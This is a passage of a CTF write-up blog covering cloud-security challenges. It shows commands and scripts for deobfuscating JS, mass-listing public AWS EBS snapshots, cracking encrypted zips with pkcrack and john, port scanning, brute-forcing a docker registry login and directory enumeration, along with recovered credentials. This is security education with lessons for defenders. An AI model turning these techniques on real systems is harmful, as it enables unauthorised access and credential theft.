<div class="section" id="id5">
<h3>Lessons</h3>
<ul class="simple">
<li>I originally didn't think it would be possible to brute force the key—I thought more characters were valid. Doing the research on the format showed that the space was more constrained and reasonable to brute force on commodity hardware.</li>
<li>Verify that blog posts are still accurate. I was originally excited to discover that the 5th and last characters in the AWS access key id only had two possible characters, because that reduced the search space considerably. I should have verified that first, though.</li>
<li>Finally, when sharing a partial secret, carefully consider how much of a secret is being redacted, and what search space would need to be explored to brute force it. In this case, the AWS access key id is actually something that is generally not considered, on their own, to be highly sensitive. The secret part never should be shared (even in partial form), though.</li>
</ul>
</div>
</div>
<div class="section" id="our-passion-your-potential-300-points-unsolved-during-ctf">
<h2>Our passion. Your potential. (300 points) - Unsolved during CTF</h2>
<blockquote>
<p>Dave is big fan of static sites. He has been planning to build a Work from Home themed site for his readers and is currently storing all his content on some cloud provider. There is also news on the wires that he is going to use some serverless code as well to run some dynamic code.</p>
<p>We don't know what it is or where it is. All we have to get started is the domain that he purchased - supersecureapp.com</p>
<p>Can you find his public site and reach the flag from there?</p>
</blockquote>
<p>Querying the DNS shows that the domain points to an azure storage blob bucket. It took me quite a while to find the /public/ directory... the enumeration tools I was using didn't search for that, I guess. In the index.html there was a comment about another javascript file that was not added yet.</p>
<pre class="literal-block">
$ dig supersecureapp.com +short
lvl3storage.blob.core.windows.net.
blob.blz21prdstr05a.store.core.windows.net.
20.150.90.68
$ curl -vs 'https://lvl3storage.blob.core.windows.net/public/index.html' -o index.html
...
< HTTP/1.1 200 OK
< Content-Length: 8214
< Content-Type: text/html
...
<!-- Removing reference as scripts.js works for now, will add data fetch after dev is completed. Login needs to be built so this is for the future.
<script src="add-file-name-of-data-fetch-js-here"></script>
...
</pre>
<p>It was possible to copy the directory contents using azcopy, which showed a routesFetch.js file. Unfortunately, that file was obfuscated.</p>
<pre class="literal-block">
$ azcopy copy https://lvl3storage.blob.core.windows.net/public/* . --recursive
...
Number of Transfers Completed: 6
...
TotalBytesTransferred: 741121
$ tree .
.
├── assets
│ └── img
│ ├── bg-masthead.jpg
│ └── favicon.ico
├── css
│ └── styles.css
├── index.html
└── js
├── routesfetch.js
└── scripts.js
$ cat js/routesfetch.js
/* adding security by fetching routes from server instead of hardcoding them here like noob frontend devs */
/* smart idea number 348 dated jun 12th 2020, work in progress */
var a=['then','json','stringify','application/json;\x20charset=UTF-8','fromCharCode'];(function(b,e){var f=function(g){while(--g){b['push'](b['shift']());}};f(++e);}(a,0xda));var b=function(c,d){c=c-0x0;var e=a[c];return e;};var u=String[b('0x1')](0x68,0x74,0x74,0x70,0x73,0x3a,0x2f,0x2f,0x62,0x61,0x63,0x6b,0x65,0x6e,0x64,0x2d,0x75,0x73,0x65,0x72,0x62,0x61,0x73,0x65,0x2d,0x72,0x6f,0x75,0x74,0x65,0x73,0x2e,0x61,0x7a,0x75,0x72,0x65,0x77,0x65,0x62,0x73,0x69,0x74,0x65,0x73,0x2e,0x6e,0x65,0x74,0x2f,0x61,0x70,0x69,0x2f,0x6c,0x6f,0x67,0x69,0x6e),m=String[b('0x1')](0x50,0x4f,0x53,0x54);fetch(u,{'method':m,'body':JSON[b('0x4')]({'name':'','pass':''}),'headers':{'Content-type':b('0x0')}})[b('0x2')](c=>c[b('0x3')]());
</pre>
<p>I edited index.html locally to load the routesFetch.js script, opened it in chrome, and opened the chrome developer tools console and saw a CORS error showing that the script was making a POST request to an Azure function...</p>
<pre class="literal-block">
Access to fetch at 'https://backend-userbase-routes.azurewebsites.net/api/login' from origin 'null' has been blocked by CORS policy: ....
</pre>
<p>The request that was geting blocked was a POST request to <a class="reference external" href="https://backend-userbase-routes.azurewebsites.net/api/login">https://backend-userbase-routes.azurewebsites.net/api/login</a> with request body <tt class="docutils literal">{name: "", pass: ""}</tt>. I got to this point in this challenge about 15 minutes before the end of the CTF. I tried some obvious username and password, but didn't figure out the correct combo. The attackercommunity team shared after the CTF that they brute forced the credentials, which were <tt class="docutils literal"><span class="pre">{"name":"azureuser","pass":"123456"}</span></tt>. Making that request revealed an error about the command, which pointed to a helper. listmethods showed the available commands, and printuserenv showed the flag.</p>
<pre class="literal-block">
$ curl -vs -X POST 'https://backend-userbase-routes.azurewebsites.net/api/login' -H 'Content-type: application/json' -d'{"name":"azureuser","pass":"123456"}'
...
Missing command parameter. Try using 'listmethods' to see what is available.* Closing connection 0
$ curl -vs -X POST 'https://backend-userbase-routes.azurewebsites.net/api/login' -H 'Content-type: application/json' -d'{"name":"azureuser","pass":"123456","cmd":"listmethods"}'
{'params':['listmethods','gettoken','testconnection','printuserenv']}
$ curl -vs -X POST 'https://backend-userbase-routes.azurewebsites.net/api/login' -H 'Content-type: application/json' -d'{"name":"azureuser","pass":"123456","cmd": "printuserenv"}'
{'flag':'FLAG-{QZaH504CJKNWO0uVmvHqD0V0XmDxGPVY}'}
</pre>
<div class="section" id="id6">
<h3>Lessons</h3>
<ul class="simple">
<li>Don't leave development comments in the source or deploy partial work.</li>
<li>Use better passwords.</li>
<li>Obfuscated javascript, while it can be helpful, doesn't prevent someone from easily observing the behavior (especially any network access).</li>
</ul>
</div>
</div>
<div class="section" id="it-s-elementary-watson-500-points">
<h2>It's Elementary Watson! (500 points)</h2>
<blockquote>
<p>Sherlock Holmes is finally moving to the cloud! Yes you heard that right, he has been practicing storing of his case files in AWS RDS. He thinks he is a bit of 'noob' anyways and keeps making mistakes like leaving his RDS open to the world.</p>
<p>We have a weird request though from you, Sherlock seems to have gone underground for another case and we need access to the AWS RDS that he uses. All we know is that he has taken a snapshot of the EC2 instance he was using to setup his website and moved the snapshot to a non American AWS region.</p>
<p>Can you get us access to the AWS RDS and send us the flag please? We will take over the investigation from there.</p>
</blockquote>
<p>AMIs and EBS snapshots can be publicly shared, which has been reported more widely in the last year or so as people have found sensitive info in these shared images. <a class="reference external" href="https://duo.com/blog/beyond-s3-exposed-resources-on-aws">Duo Labs did an analysis of how many of these were available back in 2018</a>. There are a l ot. I wrote a script to download all the non-US region AMIs and EBS snapshots.</p>
<div class="highlight"><pre><span></span><span class="kn">import</span> <span class="nn">boto3</span>
<span class="kn">import</span> <span class="nn">click</span>
<span class="kn">import</span> <span class="nn">csv</span>
<span class="kn">import</span> <span class="nn">json</span>
<span class="nd">@click</span><span class="o">.</span><span class="n">command</span><span class="p">()</span>
<span class="nd">@click</span><span class="o">.</span><span class="n">option</span><span class="p">(</span><span class="s1">'--skip-amis/--no-skip-amis'</span><span class="p">,</span> <span class="n">default</span><span class="o">=</span><span class="kc">True</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">cli</span><span class="p">(</span><span class="n">skip_amis</span><span class="p">):</span>
<span class="n">s</span> <span class="o">=</span> <span class="n">boto3</span><span class="o">.</span><span class="n">Session</span><span class="p">()</span>
<span class="n">regions</span> <span class="o">=</span> <span class="p">[</span>
<span class="s2">"eu-west-2"</span><span class="p">,</span>
<span class="s2">"eu-north-1"</span><span class="p">,</span>
<span class="s2">"ap-south-1"</span><span class="p">,</span>
<span class="s2">"eu-west-3"</span><span class="p">,</span>
<span class="s2">"eu-west-1"</span><span class="p">,</span>
<span class="s2">"ap-northeast-2"</span><span class="p">,</span>
<span class="s2">"ap-northeast-1"</span><span class="p">,</span>
<span class="s2">"sa-east-1"</span><span class="p">,</span>
<span class="s2">"ca-central-1"</span><span class="p">,</span>
<span class="s2">"ap-southeast-1"</span><span class="p">,</span>
<span class="s2">"ap-southeast-2"</span><span class="p">,</span>
<span class="s2">"eu-central-1"</span><span class="p">,</span>
<span class="c1"># "us-east-1",</span>
<span class="c1"># "us-east-2",</span>
<span class="c1"># "us-west-1",</span>
<span class="c1"># "us-west-2",</span>
<span class="p">]</span>
<span class="n">ami_outfile</span> <span class="o">=</span> <span class="s1">'amis.njson'</span>
<span class="n">snapshot_outfile</span> <span class="o">=</span> <span class="s1">'snapshots.njson'</span>
<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">snapshot_outfile</span><span class="p">,</span> <span class="s1">'wb'</span><span class="p">)</span> <span class="k">as</span> <span class="n">snap_fp</span><span class="p">,</span> <span class="nb">open</span><span class="p">(</span><span class="n">ami_outfile</span><span class="p">,</span> <span class="s1">'wb'</span><span class="p">)</span> <span class="k">as</span> <span class="n">ami_fp</span><span class="p">:</span>
<span class="k">for</span> <span class="n">region</span> <span class="ow">in</span> <span class="n">regions</span><span class="p">:</span>
<span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s1">'working on region: </span><span class="si">{</span><span class="n">region</span><span class="si">}</span><span class="s1">'</span><span class="p">)</span>
<span class="n">ec2</span> <span class="o">=</span> <span class="n">s</span><span class="o">.</span><span class="n">client</span><span class="p">(</span><span class="s1">'ec2'</span><span class="p">,</span> <span class="n">region_name</span><span class="o">=</span><span class="n">region</span><span class="p">)</span>
<span class="n">snapshots_pages</span> <span class="o">=</span> <span class="n">ec2</span><span class="o">.</span><span class="n">get_paginator</span><span class="p">(</span><span class="s1">'describe_snapshots'</span><span class="p">)</span>
<span class="n">snap_count</span> <span class="o">=</span> <span class="mi">0</span>
<span class="k">for</span> <span class="n">snapshots</span> <span class="ow">in</span> <span class="n">snapshots_pages</span><span class="o">.</span><span class="n">paginate</span><span class="p">():</span>
<span class="n">snap_count</span> <span class="o">+=</span> <span class="nb">len</span><span class="p">(</span><span class="n">snapshots</span><span class="p">[</span><span class="s1">'Snapshots'</span><span class="p">])</span>
<span class="k">for</span> <span class="n">snap</span> <span class="ow">in</span> <span class="n">snapshots</span><span class="p">[</span><span class="s1">'Snapshots'</span><span class="p">]:</span>
<span class="n">snap</span><span class="p">[</span><span class="s1">'StartTime'</span><span class="p">]</span> <span class="o">=</span> <span class="n">snap</span><span class="p">[</span><span class="s1">'StartTime'</span><span class="p">]</span><span class="o">.</span><span class="n">isoformat</span><span class="p">()</span>
<span class="n">snap</span><span class="p">[</span><span class="s1">'__region'</span><span class="p">]</span> <span class="o">=</span> <span class="n">region</span>
<span class="n">snap_fp</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="nb">bytes</span><span class="p">(</span><span class="n">json</span><span class="o">.</span><span class="n">dumps</span><span class="p">(</span><span class="n">snap</span><span class="p">),</span> <span class="s1">'utf8'</span><span class="p">))</span>
<span class="n">snap_fp</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="sa">b</span><span class="s1">'</span><span class="se">\n</span><span class="s1">'</span><span class="p">)</span>
<span class="n">snap_fp</span><span class="o">.</span><span class="n">flush</span><span class="p">()</span>
<span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s1">'Retrieved </span><span class="si">{</span><span class="n">snap_count</span><span class="si">}</span><span class="s1"> snapshots; wrote to </span><span class="si">{</span><span class="n">snapshot_outfile</span><span class="si">}</span><span class="s1">'</span><span class="p">)</span>
<span class="k">if</span> <span class="ow">not</span> <span class="n">skip_amis</span><span class="p">:</span>
<span class="n">images</span> <span class="o">=</span> <span class="n">ec2</span><span class="o">.</span><span class="n">describe_images</span><span class="p">(</span>
<span class="n">ExecutableUsers</span><span class="o">=</span><span class="p">[</span><span class="s1">'all'</span><span class="p">],</span>
<span class="n">Filters</span><span class="o">=</span><span class="p">[{</span>
<span class="s1">'Name'</span><span class="p">:</span> <span class="s1">'is-public'</span><span class="p">,</span>
<span class="s1">'Values'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'true'</span><span class="p">]</span>
<span class="p">}]</span>
<span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s1">'Retrieved </span><span class="si">{</span><span class="nb">len</span><span class="p">(</span><span class="n">images</span><span class="p">[</span><span class="s2">"Images"</span><span class="p">])</span><span class="si">}</span><span class="s1"> images; writing to </span><span class="si">{</span><span class="n">ami_outfile</span><span class="si">}</span><span class="s1">'</span><span class="p">)</span>
<span class="k">for</span> <span class="n">img</span> <span class="ow">in</span> <span class="n">images</span><span class="p">[</span><span class="s1">'Images'</span><span class="p">]:</span>
<span class="n">img</span><span class="p">[</span><span class="s1">'__region'</span><span class="p">]</span> <span class="o">=</span> <span class="n">region</span>
<span class="n">ami_fp</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="nb">bytes</span><span class="p">(</span><span class="n">json</span><span class="o">.</span><span class="n">dumps</span><span class="p">(</span><span class="n">img</span><span class="p">),</span> <span class="s1">'utf8'</span><span class="p">))</span>
<span class="n">ami_fp</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="sa">b</span><span class="s1">'</span><span class="se">\n</span><span class="s1">'</span><span class="p">)</span>
<span class="n">ami_fp</span><span class="o">.</span><span class="n">flush</span><span class="p">()</span>
<span class="k">if</span> <span class="vm">__name__</span> <span class="o">==</span> <span class="s1">'__main__'</span><span class="p">:</span>
<span class="n">cli</span><span class="p">()</span>
</pre></div>
<p>Once that was done, grepping for sherlock revealed a public <tt class="docutils literal"><span class="pre">sherlockholmes-secrets</span></tt> EBS snapshot in the ap-southeast-1 region. I copied that EBS snapshot into my own account.</p>
<pre class="literal-block">
$ python exploit_watson.py
$ cat snapshots.njson | grep -i sherlock
{"Description": "sherlockholmes-secrets", "Encrypted": false, "OwnerId": "385954100039", "Progress": "100%", "SnapshotId": "snap-0bddf547184e05905", "StartTime": "2020-08-02T10:33:07.930000+00:00", "State": "completed", "VolumeId": "vol-ffffffff", "VolumeSize": 8, "__region": "ap-southeast-1"}
$ aws --region ap-southeast-1 ec2 copy-snapshot --description 'dc28-sherlockholmes-secrets2' --destination-region us-west-2 --source-region ap-southeast-1 --source-snapshot-id snap-0bddf547184e05905
</pre>
<p>After that, I went into the AWS console and created an AMI from that EBS snapshot, and launched an EC2 instance based on that AMI. Then I could SSH into my copy of Sherlock Holmes's system. Eventually I discovered the <tt class="docutils literal">/var/www/supersecretapp.zip</tt> file. The zip archive was encrypted, but the directory paths and file names were able to be viewed without decrypting.</p>
<pre class="literal-block">
$ zipinfo supersecretapp.zip | grep file
...
found file 'www/db_config.php', size 420 (300), encrypted
found file 'www/js/main.js', size 1815 (563), encrypted
found file 'www/logout.php', size 70 (72), encrypted
found file 'www/home.php', size 1173 (574), encrypted
...
found file 'www/fonts/font-awesome-4.7.0/fonts/fontawesome-webfont.svg', size 444379 (136013), encrypted
...
</pre>
<p>I tried cracking the password with john the ripper and a few different password lists. None of those worked, though. It's possible to crack zip files if one of the files is known, and since I knew that font-awesome 4.7.0 was being used, I was able to download that, craft an unencrypted zipfile that had the same structure for one of its files (I picked the biggest one I could find, because that speeds up the cracking process), and then used pkcrack to get a decrypted zip archive.</p>
<pre class="literal-block">
# https://fontawesome.com/v4.7.0/get-started/
# unzip that and move to www/fonts/font-awesome-4.7.0
$ zip -r plaintext.zip www/fonts/font-awesome-4.7.0
$ pkcrack -C supersecretapp.zip -P plaintext.zip -d crackedapp.zip -p www/fonts/font-awesome-4.7.0/fonts/fontawesome-webfont.svg -a -c www/fonts/font-awesome-4.7.0/fonts/fontawesome-webfont.svg
</pre>
<p>That produces crackedapp.zip, and db_config.php is visible when unpacked.</p>
<div class="highlight"><pre><span></span><span class="x">...</span>
<span class="x">$DBUSER = 'noob';</span>
<span class="x">$DBPASS = 'morbidcuriosity1';</span>
<span class="x">$DBHOST = 'sherlockholmes.cofmk5ck21bg.us-east-1.rds.amazonaws.com';</span>
<span class="x">$DBPORT = getenv("port");//changed to avoid random scans from the internet</span>
<span class="x">$con=mysqli_connect($DBHOST,$DBUSER,$DBPASS,'sherlockholmes');</span>
<span class="x">...</span>
</pre></div>
<p>Port scanning the RDS instance reveals the port.:</p>
<pre class="literal-block">
$ nmap -A -Pn sherlockholmes.cofmk5ck21bg.us-east-1.rds.amazonaws.com
Nmap scan report for sherlockholmes.cofmk5ck21bg.us-east-1.rds.amazonaws.com (107.21.193.30)
Host is up (0.089s latency).
rDNS record for 107.21.193.30: ec2-107-21-193-30.compute-1.amazonaws.com
Not shown: 999 filtered ports
PORT STATE SERVICE VERSION
3389/tcp open mysql MySQL 5.5.5-10.2.21-MariaDB-log
| mysql-info:
| Protocol: 10
| Version: 5.5.5-10.2.21-MariaDB-log
| Thread ID: 6842
| Capabilities flags: 65534
| Some Capabilities: Support41Auth, ConnectWithDatabase, SupportsCompression, FoundRows, SwitchToSSLAfterHandshake, IgnoreSigpipes, LongColumnFlag, SupportsTransactions, SupportsLoadDataLocal, Speaks41ProtocolOld, Speaks41ProtocolNew, IgnoreSpaceBeforeParenthesis, DontAllowDatabaseTableColumn, ODBCClient, InteractiveClient, SupportsAuthPlugins, SupportsMultipleStatments, SupportsMultipleResults
| Status: Autocommit
| Salt: Y|(K%u@{m1I]vZBy[=^B
|_ Auth Plugin Name: mysql_native_password
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 75.42 seconds
</pre>
<p>Unfortunately, in conducting that port scan it also caused the system to ban my IP. I started yet another instance and then was able to connect. Showing the database tables revealed a <tt class="docutils literal">flagtable</tt> that had the flag!</p>
<pre class="literal-block">
$ mysql -u noob -pmorbidcuriosity1 -h sherlockholmes.cofmk5ck21bg.us-east-1.rds.amazonaws.com -P 3389
mysql ((none))> use sherlockholmes;
mysql (sherlockholmes)> show tables;
+--------------------------+
| Tables_in_sherlockholmes |
+--------------------------+
| flagtable |
+--------------------------+
1 row in set (0.26 sec)
mysql (sherlockholmes)> select * from flagtable;
+-----------------------------------------+
| flag |
+-----------------------------------------+
| FLAG-{AUbt2MVIpsidtsFLhG1fg8w63uzEJp2R} |
+-----------------------------------------+
1 row in set (0.14 sec)
</pre>
<div class="section" id="id7">
<h3>Lessons</h3>
<ul class="simple">
<li>Don't make EBS snapshots public unless you are really sure there are not secrets in them.</li>
<li>Zip encryption is not secure. I cracked it in seconds on commodity hardware.</li>
<li>I need to be more careful when port scanning targets.</li>
</ul>
</div>
</div>
<div class="section" id="please-contain-me-500-points">
<h2>Please contain me! (500 points)</h2>
<blockquote>
<p>Blog writers are weird people. Some of them have artistic pages, some of them are keep it simple.</p>
<p>And then there are some, like the creator of the blog for this CTF domain, who prefers to knock people of the floor with his meaningless content.</p>
<p>But is the content truly meaningless?</p>
<p>Your mission, if you choose to accept it, is to find the flag that the blog creator has hidden somewhere on the Interwebs. Follow the blog to start your mission!</p>
</blockquote>
<p>There was a blog subdomain for the CTF, which had its DNS pointing to an S3 bucket. Requesting the index.html page returned a base64 encoded blob of text. Decoding that to a file, then using the <tt class="docutils literal">file</tt> utility revealed it was a zip archive. It was password protected, but john the ripper was able to discover the password easily using the <a class="reference external" href="https://www.kaggle.com/wjburns/common-password-list-rockyoutxt">rockyou password list</a>.</p>
<pre class="literal-block">
$ dig blog.cloudvillagectf.co +short
blog.cloudvillagectf.co.s3.amazonaws.com.
s3-1-w.amazonaws.com.
52.217.96.204
$ curl -vs http://blog.cloudvillagectf.co/index.html -o index.html
$ cat index.html |base64 -d > index_decoded.zip
$ unzip index_decoded.zip
Archive: index_decoded.zip
[index_decoded.zip] cert.pem password:
skipping: cert.pem incorrect password
skipping: readme.md incorrect password
$ zip2john index_decoded.zip > index_decoded_forjohn
$ john --wordlist=rockyou.txt index_decoded_forjohn
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Press 'q' or Ctrl-C to abort, almost any other key for status
culprit (index_decoded.zip)
1g 0:00:00:00 DONE (2020-08-08 10:33) 9.090g/s 4730Kp/s 4730Kc/s 4730KC/s cupcake143..cueca
Use the "--show" option to display all of the cracked passwords reliably
Session completed
$ file cert.pem
cert.pem: PEM certificate
$ cat readme.md
Hey Chris,
I have been bothering about the docker images collection for a very long time. I am tired and now I need some automated collection storage to store the images. I can't do this anymore. So I have
found a tool and I am attaching the link for you to access.
URL:- https://docker1.cloudvillagectf.co
Please utilize it and play with it. Don't forget about the steps to access it as we discussed.
- L33tHaxx0r
</pre>
<p>The PEM cert was an SSL certificate for docker.cloudvillagectf.co. Both docker. and docker1. subdomains were docker image registries hosted behind an AWS ELB.</p>
<pre class="literal-block">
$ dig docker1.cloudvillagectf.co +short
ctf-registry-28240095.us-east-2.elb.amazonaws.com.
$ dig docker.cloudvillagectf.co +short
ctf-registry-28240095.us-east-2.elb.amazonaws.com.
$ openssl x509 -in cert.pem -text -noout |grep Subject
Subject: CN=docker.cloudvillagectf.co
Subject Public Key Info:
X509v3 Subject Key Identifier:
X509v3 Subject Alternative Name:
</pre>
<p>The registry at the docker1. subdomain did not require authentication. The docker client would not work with that registry, though, because the SSL cert didn't match the actual domain name. The REST APIs still worked using curl and ignoring SSL cert errors. Using the REST APIs, it was possible to list images and tags, as well as download the layers. Inside one of the layers was a message about VHOST, and some other random words.</p>
<pre class="literal-block">
$ curl -vsk https://docker1.cloudvillagectf.co/v2/_catalog
{"repositories":["culprit-image"]}
$ curl -vsk https://docker1.cloudvillagectf.co/v2/culprit-image/tags/list
{"name":"culprit-image","tags":["latest"]}
$ curl -vsk https://docker1.cloudvillagectf.co/v2/culprit-image/manifests/latest -o manifests.json
...
"blobSum": "sha256:cbc6088e8776fa0301d4ef4ed56276202ab283999670a73f59d6790d531b3afd"
},
{
"blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
},
{
"blobSum": "sha256:df20fa9351a15782c64e6dddb2d4a6f50bf6d3688060a34c4014b0d9a752eb4c"
...
$ tar xf sha256\:cbc6088e8776fa0301d4ef4ed56276202ab283999670a73f59d6790d531b3afd.tar.gz
$ tree .
.
|-- home
| `-- haxxor
| `-- haxxor-memo.txt
|-- root
`-- sha256:cbc6088e8776fa0301d4ef4ed56276202ab283999670a73f59d6790d531b3afd.tar.gz
3 directories, 2 files
$ cat home/haxxor/haxxor-memo.txt
Hi culprit, I am a naive hacker. I should have been punished for even being here! Now you know me so contact me and help me out. - #ashT@gsuper ..... P.S. The place you are looking for is a VHOST
$ file home/haxxor/.wh..wh..opq
home/haxxor/.wh..wh..opq: empty
</pre>
<p>I made the guess that these leetspeak words were probably a password or username for the docker. subdomain registry. I wrote a quick script to brute force the docker.cloudvillagectf.co registry using the random words that had appeared in the text files for this challenge so far.</p>
<blockquote>
<div class="highlight"><pre><span></span><span class="kn">import</span> <span class="nn">click</span>
<span class="kn">import</span> <span class="nn">itertools</span>
<span class="kn">import</span> <span class="nn">subprocess</span>
<span class="nd">@click</span><span class="o">.</span><span class="n">command</span><span class="p">()</span>
<span class="k">def</span> <span class="nf">cli</span><span class="p">():</span>
<span class="n">possible_users_and_passwords</span> <span class="o">=</span> <span class="p">[</span>
<span class="s1">'haxxor'</span><span class="p">,</span>
<span class="s1">'#ashT@gsuper'</span><span class="p">,</span>
<span class="s1">'culprit'</span><span class="p">,</span>
<span class="s1">'.wh..wh..opq'</span><span class="p">,</span>
<span class="s1">'Chris'</span><span class="p">,</span>
<span class="s1">'L33tHaxx0r'</span><span class="p">,</span>
<span class="p">]</span>
<span class="n">perms</span> <span class="o">=</span> <span class="nb">list</span><span class="p">(</span><span class="n">itertools</span><span class="o">.</span><span class="n">permutations</span><span class="p">(</span><span class="n">possible_users_and_passwords</span><span class="p">,</span> <span class="mi">2</span><span class="p">))</span>
<span class="k">for</span> <span class="n">u</span><span class="p">,</span> <span class="n">p</span> <span class="ow">in</span> <span class="n">perms</span><span class="p">:</span>
<span class="k">if</span> <span class="n">_is_docker_login</span><span class="p">(</span><span class="n">u</span><span class="p">,</span> <span class="n">p</span><span class="p">):</span>
<span class="k">break</span>
<span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s1">'None worked :-('</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">_is_docker_login</span><span class="p">(</span><span class="n">user</span><span class="p">:</span> <span class="nb">str</span><span class="p">,</span> <span class="n">password</span><span class="p">:</span> <span class="nb">str</span><span class="p">):</span>
<span class="n">cmd</span> <span class="o">=</span> <span class="p">[</span>
<span class="s1">'docker'</span><span class="p">,</span>
<span class="s1">'login'</span><span class="p">,</span>
<span class="s1">'docker.cloudvillagectf.co'</span><span class="p">,</span>
<span class="s1">'-u'</span><span class="p">,</span> <span class="n">user</span><span class="p">,</span>
<span class="s1">'-p'</span><span class="p">,</span> <span class="n">password</span>
<span class="p">]</span>
<span class="k">try</span><span class="p">:</span>
<span class="n">result</span> <span class="o">=</span> <span class="n">subprocess</span><span class="o">.</span><span class="n">check_call</span><span class="p">(</span><span class="n">cmd</span><span class="p">)</span>
<span class="k">except</span> <span class="n">subprocess</span><span class="o">.</span><span class="n">CalledProcessError</span> <span class="k">as</span> <span class="n">ex</span><span class="p">:</span>
<span class="k">return</span> <span class="kc">False</span>
<span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s1">'SUCCESS: </span><span class="si">{</span><span class="s2">" "</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">cmd</span><span class="p">)</span><span class="si">}</span><span class="s1">'</span><span class="p">)</span>
<span class="k">return</span> <span class="kc">True</span>
<span class="k">if</span> <span class="vm">__name__</span> <span class="o">==</span> <span class="s1">'__main__'</span><span class="p">:</span>
<span class="n">cli</span><span class="p">()</span>
</pre></div>
</blockquote>
<p>Running that script revealed the credentials, which can be used as http basic auth on this registry. Then I was able to repeat the above requests to list images, tags, and download layers. Inside one of the layers was a flag.txt file. This was a little confusing, because the flag did not take the prescribed format (and was base64 decode-able).</p>
<pre class="literal-block">
$ python exploit_docker_login.py
Login Succeeded
SUCCESS: docker login docker.cloudvillagectf.co -u culprit -p #ashT@gsuper
$ curl -vsk -u'culprit:#ashT@gsuper' https://docker.cloudvillagectf.co/v2/_catalog
{"repositories":["flag-image"]}
$ curl -vsk -u'culprit:#ashT@gsuper' https://docker.cloudvillagectf.co/v2/flag-image/tags/list
{"name":"flag-image","tags":["latest"]}
$ curl -vsk -u'culprit:#ashT@gsuper' https://docker.cloudvillagectf.co/v2/flag-image/manifests/latest
...
"blobSum": "sha256:f8dced26be77c25156a19c1632769595e5a8b4bcaf434c5a95c2151a0565cd85"
},
{
"blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
},
{
"blobSum": "sha256:4e643cc37772c094642f3168c56d1fcbcc9a07ecf72dbb5afdc35baf57e8bc29"
},
{
"blobSum": "sha256:2821b8e766f41f4f148dc2d378c41d60f3d2cbe6f03b2585dd5653c3873740ef"
},
{
"blobSum": "sha256:97058a342707e39028c2597a4306fd3b1a2ebaf5423f8e514428c73fa508960c"
},
{
"blobSum": "sha256:692c352adcf2821d6988021248da6b276cb738808f69dcc7bbb74a9c952146f7"
...
# download the layers
$ tar xf sha256\:f8dced26be77c25156a19c1632769595e5a8b4bcaf434c5a95c2151a0565cd85.tar.gz
$ tree
.
|-- home
| `-- culprit
| `-- flag.txt
|-- root
`-- sha256:f8dced26be77c25156a19c1632769595e5a8b4bcaf434c5a95c2151a0565cd85.tar.gz
3 directories, 2 files
$ cat home/culprit/flag.txt
NDliMzVkMjhmNjk1YTI3N2MwNjNhYmFlZWVlNGQ2MDE=
</pre>
<p>The flag was: <tt class="docutils literal"><span class="pre">FLAG-{NDliMzVkMjhmNjk1YTI3N2MwNjNhYmFlZWVlNGQ2MDE=}</span></tt></p>
<div class="section" id="id8">
<h3>Lessons</h3>
<ul class="simple">
<li>Make sure there is auth <em>and</em> valid SSL configured on docker registries.</li>
<li>And, zip file encryption is not secure.</li>
</ul>
</div>
</div>
<div class="section" id="just-out-of-reach-800-points">
<h2>Just out of reach! (800 points)</h2>
<blockquote>
<p>Dave considers himself to be a cloud expert, but more often than not, misses the subtleties of web and cloud security. Take the latest web app that he has built. It offers functionality to view images (pretty lowkey I must say), but has all the necessary precautions to prevent users from abusing the application.</p>
<p>Can you teach Dave a lesson by hacking into the app and extracting the flag from one of the resources that he uses?</p>
<p>You can start here - <a class="reference external" href="http://imageapp.cloudvillagectf.co">http://imageapp.cloudvillagectf.co</a></p>
</blockquote>
<p>There were some interesting misdirections on this one. For example, there was a robots.txt that had /admin/ disallowed. The user-agent in that robots.txt file didn't actually match common user agents, though, and there wasn't a /admin/ directory or route that I found.</p>
<p>Eventually I discovered there were several development/build/config files that could be downloaded. The composer.json file revealed that phpdotenv was being used. The .env file—commonly used to pass sensitive configuration to php services—could be downloaded, and had a SECRET variable in it. The /downloads/ directory also had a suspicious file called shell.php... That in combination with the server version being Apache 2.4.29, which has a <a class="reference external" href="https://nvd.nist.gov/vuln/detail/CVE-2019-0211">remote code execution vulnerability</a> with a <a class="reference external" href="https://www.tenable.com/blog/cve-2019-0211-proof-of-concept-for-apache-root-privilege-escalation-vulnerability-published">known exploit</a>, made me think that shell.php was exploitable.</p>
<pre class="literal-block">
$ python ../dirsearch/dirsearch.py -e html -u http://imageapp.cloudvillagectf.co/
200 178B http://imageapp.cloudvillagectf.co:80/composer.json
200 17KB http://imageapp.cloudvillagectf.co:80/composer.lock
301 340B http://imageapp.cloudvillagectf.co:80/css
301 346B http://imageapp.cloudvillagectf.co:80/downloads
301 342B http://imageapp.cloudvillagectf.co:80/fonts
302 0B http://imageapp.cloudvillagectf.co:80/home.php
301 343B http://imageapp.cloudvillagectf.co:80/images
200 4KB http://imageapp.cloudvillagectf.co:80/index.php
200 4KB http://imageapp.cloudvillagectf.co:80/index.php/login/
301 339B http://imageapp.cloudvillagectf.co:80/js
200 32B http://imageapp.cloudvillagectf.co:80/robots.txt
200 0B http://imageapp.cloudvillagectf.co:80/vendor/autoload.php
200 0B http://imageapp.cloudvillagectf.co:80/vendor/composer/autoload_classmap.php
200 0B http://imageapp.cloudvillagectf.co:80/vendor/composer/autoload_files.php
200 0B http://imageapp.cloudvillagectf.co:80/vendor/composer/autoload_namespaces.php
200 0B http://imageapp.cloudvillagectf.co:80/vendor/composer/autoload_psr4.php
